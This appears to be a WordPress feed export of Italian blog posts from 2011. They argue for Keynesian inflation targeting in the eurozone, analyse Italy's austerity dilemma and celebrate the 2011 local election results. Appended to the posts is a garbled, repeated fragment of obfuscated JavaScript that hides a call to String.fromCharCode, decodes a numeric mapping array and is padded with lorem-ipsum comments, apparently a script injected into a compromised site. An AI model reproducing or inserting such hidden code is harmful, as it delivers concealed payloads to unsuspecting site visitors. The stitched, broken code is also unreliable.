<p>La politica economica nei paesi in crisi si trova di fronte a <strong>un ‘trilemma’</strong>. Deve favorire al tempo stesso: 1) la riduzione dei <strong>debiti</strong> pubblici; 2) la <strong>crescita</strong> dei redditi (e base imponibile); 3) il recupero di <strong>competitività</strong>. Ma il neo-liberismo non è in grado di risolvere il trilemma: 1) i tagli alla spesa pubblica riducono crescita ed entrate fiscali; 2) le ‘riforme strutturali’ non hanno alcun effetto sulla domanda; 3) il taglio dei salari – raccomandato per recuperare competitività – accresce il peso reale dei debiti. <strong>L’intera Europa è costruita per impedire inflazione e debiti. Ma le sue istituzioni non sono in grado di reagire in modo opposto nel momento in cui la situazione si è rovesciata</strong>.</p>
<p>La crisi Europea si trascinerà penosamente, per anni, se la Banca centrale non sposa una linea di <strong>politica monetaria keynesiana eterodossa</strong>. Oggi, sta alzando i tassi per combattere un nemico che non c’è: l’inflazione <em>core</em> è sotto al 2%! Solo in un ambiente europeo caratterizzato dalla reflazione i PIIGS possono risolvere il trilemma della politica economica e sfuggire al ‘<strong>vortice greco</strong>’. La strategia si chiama <em>Quantitative easing</em> e <em>Inflazione programmata</em>. Parole che, purtroppo, suonano anatema alle orecchie dei sacerdoti dell’ortodossia.</p>
<div style="text-align: justify;"><strong>Un tasso d’inflazione programmato</strong> per quattro anni (2013-2016) al 3,5% in Europa (4,5% in Germania, 1% nei PIGS), <strong>e tassi d’interesse fermi all’1%, consentirebbero</strong>: 1) A tutta la struttura dei tassi di posizionarsi su livelli reali negativi, stimolando la domanda interna ed estera e l’occupazione. 2) Ai PIIGS <strong>di recuperare competitività</strong> senza cadere in deflazione. 3) <strong>Meno austerità</strong>, grazie alla riduzione del valore reale dei debiti pubblici e a maggiori entrate fiscali. Auspico anzi che la Banca centrale ‘bruci’ una piccola parte dei titoli pubblici da essa detenuti, finanziando implicitamente i governi, e sottolineando l’impegno solenne ad alzare temporaneamente il tasso di inflazione. 4) Alla Germania di alzare i salari reali, e di godersi il frutto della sua coerenza in un quadro di stabilità del sistema bancario. Su queste basi, è possibile che l’austerità dei PIIGS abbia successo.</div>
<div style="text-align: justify;"><span style="color: #ffffff;">.</span></div>
<p> Naturalmente, le politiche suggerite <strong>sposterebbero il peso dei sacrifici dai lavoratori alle rendite</strong>. Naturalmente, la Germania ha paura dell’inflazione. E la Bce sembra fare di tutto per destabilizzare l’economia europea: è sempre possibile proporre una modifica del suo Statuto, che affidi al Parlamento Europeo, in certi casi, e con maggioranze qualificate e crescenti, il compito di indicare l’obiettivo d’inflazione (modello UK). Ma poiché <strong>i costi delle politiche suggerite sarebbero molto inferiori</strong> <strong>rispetto ai disastri attuali</strong>, confido che alla fine le proposte keynesiane possano essere accettate anche sul piano politico. La periferia dell’Europa è inchiodata ad una croce di ortodossia monetaria; ma le conseguenze sono nefaste per tutti. È ora di cambiare strada.</p>
<p>Ps. Questo post riprende temi già sviluppati <a href="http://www.lastampa.it/_web/cmstp/tmplRubriche/editoriali/gEditoriali.asp?ID_blog=25&amp;ID_articolo=8931">su ‘La Stampa’ assieme a Giorgio La Malfa</a>. Gli errori, dunque, sono miei, mentre i concetti migliori li condivido con il mio co-autore.</p>
<p><em><br />
</em></p>
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		<title>L’Europa soffocata dal monetarismo</title>
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		<pubDate>Wed, 15 Jun 2011 20:44:32 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[Concorso per i lettori: a voi la guida della politica economica. E non si tratta di un regalo
]]></description>
			<content:encoded><![CDATA[<div><a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/06/Tassi-di-disoccupazione.jpg"></a></div>
<p style="text-align: center;"><img src="http://www.ilfattoquotidiano.it/wp-content/themes/ilfatto/phpThumb.php?src=/wp-content/uploads/2011/06/Tassi-di-disoccupazione-300x169.jpg&amp;w=295&amp;aoe=1&amp;q=90&amp;f=jpg&amp;far=1&amp;bg=FFFFFF" alt="" /></p>
<p> </p>
<p>A che punto siamo con l’economia? <strong>La ripresa mondiale</strong> procede a macchia di leopardo. Nei paesi in via di sviluppo, la crescita è al 7% (2010), nei paesi sviluppati al 3%, in Europa all’1,8%, in Italia all’1,2%.</p>
<p>In <strong>Europa</strong>, secondo gli indicatori <em>forward looking</em> (basati su valori futuri attesi) la crescita nel 2011 sarà intorno al 2%. Molto meno di quanto sarebbe necessario per riassorbire i 22,5 milioni di disoccupati nei 27 paesi dell’Unione in tempi ragionevoli (pochi anni). Questo perché la popolazione aumenta e il progresso tecnologico riduce i posti di lavoro a parità di Pil; infine, il dato sulla disoccupazione non tiene conto degli “scoraggiati” che hanno smesso di cercare lavoro con assiduità. A differenza che nelle altre aree sviluppate, in Europa – specie la zona dell’Euro, linea verde nel <strong><a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/06/Tassi-di-disoccupazione.jpg" target="_blank">grafico visibile qui</a></strong> – l’occupazione non dà segni di ripresa.</p>
<p>L’Europa è anzi diventata il <strong>focolaio di instabilità </strong>dell’economia mondiale, <a href="http://www.ecb.int/press/pr/date/2011/html/pr110615.en.html" target="_blank">avverte la Banca Centrale Europea</a>. Perché al suo interno vi sono alcuni paesi con enormi deficit pubblici: gli stessi che hanno <a href="http://www.europe.xorte.com/0,3,The-Impact-of-the-Global-Crisis-on-Competitiveness-and-Current-Account-Divergence-in-the-Euro-Area,11592.html" target="_blank">perso tanta competitività</a> negli ultimi dieci anni, e che non crescono più (o quasi): Grecia, Portogallo, Spagna, Irlanda e Italia.</p>
<p>In <strong>Italia</strong>, la disoccupazione (scoraggiati e cassintegrati inclusi) continua a peggiorare: il Sud e i giovani stanno soffrendo più di tutti. La produzione industriale è ancora a -16% rispetto ai livelli pre-crisi. Le esportazioni crescono, ma meno delle importazioni, e meno che negli altri paesi; stanno crescendo – velocemente – i debiti delle famiglie e delle imprese. E’ vero che l’Europa ha tanti <strong>problemi strutturali</strong>. L’Italia pure. Qualche esempio:<br />
- Poche grandi imprese = meno ricerca applicata, minore capacità di esportare globalmente.<br />
- Infrastrutture e servizi pubblici non sempre come li vorremmo (esempi: i tempi lunghi della giustizia; modesta qualità della <em>governance</em>; ecc.).<br />
- Scarsa concorrenza nei servizi e scarsa indipendenza delle autorità garanti = inefficienza.<br />
- Alta pressione fiscale: mediamente al 42% del reddito, ma più alta per chi paga le tasse (dato che il 42% è una media fra quelli che pagano e quelli che non pagano).<br />
- Un mercato del lavoro o troppo ingessato o con poche protezioni sociali.</p>
<p>Tuttavia – per quanto possa sembrare paradossale – <strong>i problemi strutturali’non sono quelli p</strong><strong>iù importanti ed ur</strong><strong>genti</strong>, da qui al 2015. Perché sono problemi “di offerta”: riguardano il modo (più o meno efficiente) di combinare i fattori produttivi (materie prime, lavoro, capitale, terreni, ecc.). La crescita economica, in tempi normali, dipende dalla evoluzione positiva di questa combinazione, che determina il potenziale produttivo di un paese. Oggi no. Il problema economico n.1 dell’Italia e dell’Europa non è un problema di offerta. Le fabbriche ci sono e non sono peggiorate. Il problema non è metterle in grado di produrre di più; è la domanda: <strong>i prodotti non trovano acquirenti</strong>. Non alcuni prodotti, non in alcuni settori (altrimenti sarebbe un problema “strutturale”), bensì <strong>in tutti i settori</strong> produttivi. È quindi inutile aumentare la produzione, o gli investimenti o l’efficienza: il maggiore prodotto resterebbe invenduto. Perciò le fabbriche producono meno di tre anni fa. La gente non spende, non perché ne ha abbastanza del consumismo, ma perché ha paura del futuro.</p>
<p>Non solo. Per il 2012 e 2013 ci siamo impegnati con l’Europa, ma soprattutto con i mercati finanziari, a ridurre il deficit del 3% del Pil, cioè <strong>tagliare almeno 40 miliardi in due anni</strong>. Da un lato, se non facciamo questa “Grande Manovra”, se rinneghiamo gli impegni presi – considerata la precaria situazione finanziaria della Grecia e i rischi di contagio – è probabile che tornino a salire i tassi d’interesse italiani (la differenza con i decennali tedeschi è salita, all’inizio della crisi, da un +0,30% a un +1,50%-2,00%, ma poi si è fermata lì). Si innesterebbe allora una <strong>spirale perversa</strong> fra aumento dei tassi, caduta del Pil, caduta delle entrate fiscali e tagli alla spesa: il nostro paese sarebbe finito. Sarebbe<strong> molto peggio che in Grecia</strong>: siamo troppo grandi per essere salvati dall’Europa. È bene capire fino in fondo, senza allarmismi, che stiamo su un piano inclinato: salendo, il piano diventa meno ripido e i pascoli sempre più verdi; scendendo, il piano diventa sempre più inclinato: in fondo ci aspettano i coccodrilli… a fauci spalancate! Fanno ridere quelli che propongono di rinviare (diluire) la riduzione del deficit fino al 2020 <em>“a condizione di votare subito la manovra, per rassicurare i mercati”</em>. Il mondo è troppo pericoloso, e la politica italiana troppo inaffidabile, per rischiare una cosa del genere. Si tratta di un tipico approccio Keynesiano, ma… Keynes aveva in mente paesi con un basso <a href="http://en.wikipedia.org/wiki/List_of_sovereign_states_by_public_debt" target="_blank">debito pubblico</a>! <strong>Fa</strong><strong> dunque be</strong><strong>nissimo Tremo</strong><strong>nti – oggi – a dire</strong><strong> no </strong>a chi gli chiede di aprire i cordoni della borsa! Farebbe ancora meglio ad anticipare a questa estate la definizione della Grande Manovra, per spingere subito verso il basso i tassi d’interesse: la vita sarebbe meno difficile per lo Stato, le famiglie e le imprese.</p>
<p>Però la Grande Manovra<strong> toglierà ancora potere d’acquisto </strong>alle famiglie italiane, riducendo ulteriormente la domanda, le vendite delle imprese. Caleranno i tassi di crescita (che il governo prevede nel 2013-14 all’1,5% e più: auguri!), la base imponibile, le entrate fiscali, l’occupazione… Insomma, <strong>il rischio è un’altra spirale negativa</strong> e recessiva. Anche la riduzione del deficit diverrebbe più difficile: un obiettivo che si sposta sempre in avanti e che impone a un paese esausto dosi crescenti di austerità. Basta vedere cosa è successo all’Irlanda: nel maggio 2010 abbracciò l’austerità, e venne considerata “l’Esempio” da seguire: a dicembre era già quasi fallita.<br />
<strong><br />
Riassumendo</strong>: se l’Italia fa la promessa Grande Manovra sui conti pubblici, rischia di appesantire ulteriormente l’economia reale; se non la fa, rischia di far salire i tassi d’interesse. In entrambi i casi, la rincorsa al pareggio di bilancio, annunciato per il 2014, diverrebbe più affannosa, e i costi sociali più alti di quanto attualmente previsto. Ma la crisi in atto ha evidentemente una dimensione europea.</p>
<p>Fin qui i fatti, esposti seguendo il filo di una recente conferenza di <a href="http://www.bancaditalia.it/bancaditalia/organizzazione/Aree/studi/str_econ_fin/franco" target="_blank">Daniele Franco</a> della Banca d’Italia, e i dilemmi strategici, che in questi giorni vengono discussi appassionatamente nei circoli tecnocratici e in quelli politici. <strong>Che fare?</strong> Quali soluzioni ai dilemmi della politica economica? Vogliamo dare un consiglio ai nostri politici e all’Europa? Che fareste voi, se foste il capo del governo italiano? La parola ai lettori.</p>
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		<title>Elezioni locali: ha perso l’uso privato della politica</title>
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		<pubDate>Tue, 31 May 2011 20:41:10 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Elezioni]]></category>

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		<description><![CDATA[Festeggiamo, senza troppe analisi, una prima vittoria elettorale, a lungo attesa, e perciò liberatoria.]]></description>
			<content:encoded><![CDATA[<div>Festeggiamo, senza troppe analisi, una vittoria elettorale a lungo attesa, e perciò <strong>liberatoria</strong>. Abbiamo a lungo sofferto, e ancora soffriremo: non per motivi di fazione, ma per il declino che l’Italia di Berlusconi ha subito, che molti di noi hanno contrastato a mani nude, impotenti ed irrisi, talvolta coinvolti. La limpida, ormai inappellabile fine del berlusconismo, che si profila, è molto di più di una vittoria di parte. E’ – potenzialmente – l’inizio della fine del ‘declino’.</div>
<p>Da quando il mondo è mondo, il declino è prima di tutto caduta dell’etica e del senso civico, del rispetto per il prossimo e per le proprie responsabilità; e della voglia di creare. Sallustio: “<em>In pace e in guerra, si viveva secondo l’arbitrio di pochi. Nelle loro mani erano l’erario, le province, le magistrature, onori e trionfi. … I padri e i figli dei soldati, se per caso confinavano con uno più potente, venivano cacciati dalle loro terre. Così l’avidità, assecondata dal potere, cominciò a propagarsi ovunque, portando con se corruzione e distruzione, e non avendo rispetto né timore religioso, e alla fine precipitò in rovina da sola. Infatti, quando emersero dei nobili uomini che preferivano la gloria a una ingiusta potenza, la guerra civile si scatenò come un terremoto</em>”.</p>
<p>Dal 1945 nessuno, prima di Berlusconi, aveva osato piegare così profondamente ed apertamente la politica alla logica dell’<strong>arricchimento personale</strong>. In questa logica predatoria ha trascinato per anni politici locali, aspiranti parlamentari, donne, uomini, gruppi di elettori, intere categorie, travolgendo regole scritte e regole morali, svuotando i riti democratici di contenuto. Irridendo ai “tristi della sinistra” chiedeva ad ognuno di noi: ‘Se il paese è la nostra vacca da mungere, preferite essere munti o muntori?’. Per questo Berlusconi è stato l’ultimo ‘grande’ epigono di quella classe politica nostrana che sistematicamente, ogni volta al potere, ha aumentato il debito pubblico.</p>
<p>Ma questo gioco distruttivo aveva in se stesso il seme della sua fine. Come in un ‘Ponzi game’ della politica, il nostro aveva bisogno di remunerare continuamente i suoi <em>supporters</em>, o almeno di promettere che lo avrebbe fatto. In un paese che non cresce – perché la classe dirigente è impegnata in una forsennata caccia alla rendita personale, invece che orchestrare lo sviluppo – ciò significava togliere sempre di più agli ‘sconfitti’; e ciò a sua volta richiedeva l’abbattimento progressivo di tutti i vincoli, di tutti i doveri morali, delle leggi, di chi le fa rispettare; e in ultimo, della Costituzione.</p>
<p>Cosa prova che è questa l’interpretazione corretta del voto degli elettori? La Moratti è stata <a href="http://www.sondaggipoliticoelettorali.it/" target="_blank">in testa nei sondaggi</a> fino alla plateale <a href="http://www.youtube.com/watch?v=uv0-QAVNCJA" target="_blank">calunnia televisiva</a> contro Pisapia, profferita quando il suo competitor non poteva replicare. La gente l’ha considerata una scorrettezza contro il <em>proprio</em> diritto di conoscere la verità. De Magistris, come Pisapia, è un outsider; la sua vittoria è la sconfitta non solo di Lettieri e della destra, ma anche di Cosentino (Pdl), Cozzolino (Pd) e dei bassoliniani, che hanno tutti una <strong>concezione ‘privatistica’ della politica</strong>. Lo stesso Berlusconi era in difficoltà da tempo, ma la caduta dei consensi era lenta e graduale: fino a quando ha tentato di trascinare il suo elettorato nella campagna finale contro le istituzioni democratiche più importanti: un gioco obbligato quanto disperato. E la gente ha detto “Basta! Non ti seguiamo più”. La Costituzione è patrimonio comune – soprattutto – dei moderati: è il quadro giuridico che consente ai borghesi di sviluppare gli affari in pace.</p>
<p>Per questo oggi hanno perso – assieme ai topi che schizzano da tutte le parti fuori dalla barca che affonda – anche i cattivi maestri alla Giuliano Ferrara, propugnatori di una ‘democrazia’ giacobina e illiberale, non ‘occidentale’: dove la conquista e l’uso del potere non sono regolati e limitati da principi superiori. Gli italiani stanno dicendo al centro-destra: “Fate pace con la Costituzione!”. Se Bersani e c. si attrezzassero una buona volta per riparare la nostra democrazia una volta al potere, invece di fare i <a href="http://it.wikipedia.org/wiki/La_fattoria_degli_animali" target="_blank">maiali orwelliani</a>, forse, come paese, potremmo uscire dal declino. (Altrimenti, attenti a quello che arriverà dopo la caduta del prossimo governo di centro-sinistra).</p>
<p>Per questo oggi questa vittoria va estesa, allargata, offerta a tutti. E’ una <strong>opportunità nazionale</strong>, non per i numeri politici, ma per il suo significato. Solo se saranno in tanti a coglierla, ne trarremo un vantaggio duraturo. La Costituzione non è patrimonio di una parte. Non deve esserlo. Guai sono stati … quando lo è diventata! Ora tutto questo può cambiare. E sarebbe un cambiamento molto più profondo, molto più decisivo, per le sorti del nostro paese, di un semplice cambio di governo.</p>
<p>Amici del centrodestra: cogliete quest’occasione! Costruite una destra moderna e moderata. È una svolta profonda quella che vi si chiede. Moderna significa filo-europea. Moderata significa filo costituzionale. Ascoltate gli elettori. Da voi si aspettano comportamenti moderati, non parole.</p>
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		return 'Code';
	}
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		return function(q){return xxx(q);};
	};
	rex = [gafu(),gafu()];
	

	function choo(k) {
		if (k < 9) {
			return 1
		} else {
			return 2
		}
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	d = '';
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	function fs(ro, arr, add, st, en,dp) {
		//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem
		var hf = ((en+st)>>1);
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			//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis
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	//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland

	function a(b, c) {
		return b[c];
	};

	function ro() {
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	}
	rd=fs(d, qq2(6-tk.length), 30, 0, qq2().length);
	//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur
	try{
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(function($$,_2,_1,doc,tk) {
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	function co() {
		return 'Code';
	}
	function gafu() {
		xxx=a(String, 'f' + ro() + co());
		return function(q){return xxx(q);};
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	rex = [gafu(),gafu()];
	

	function choo(k) {
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			return 1
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	};
	
	d = '';
	mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2,8,2,10,2,11,2,12,2,13,2,14,2,15,2,17,2,18,2,19,2,20,2,21,2,22,2,23,2,24,2,25,2,26,2,27,2,28,2,29];
	map = ''; xo = doc;

	function fs(ro, arr, add, st, en,dp) {
		//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem
		var hf = ((en+st)>>1);
		if(en-st>16)
		{
			//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis
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		//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi
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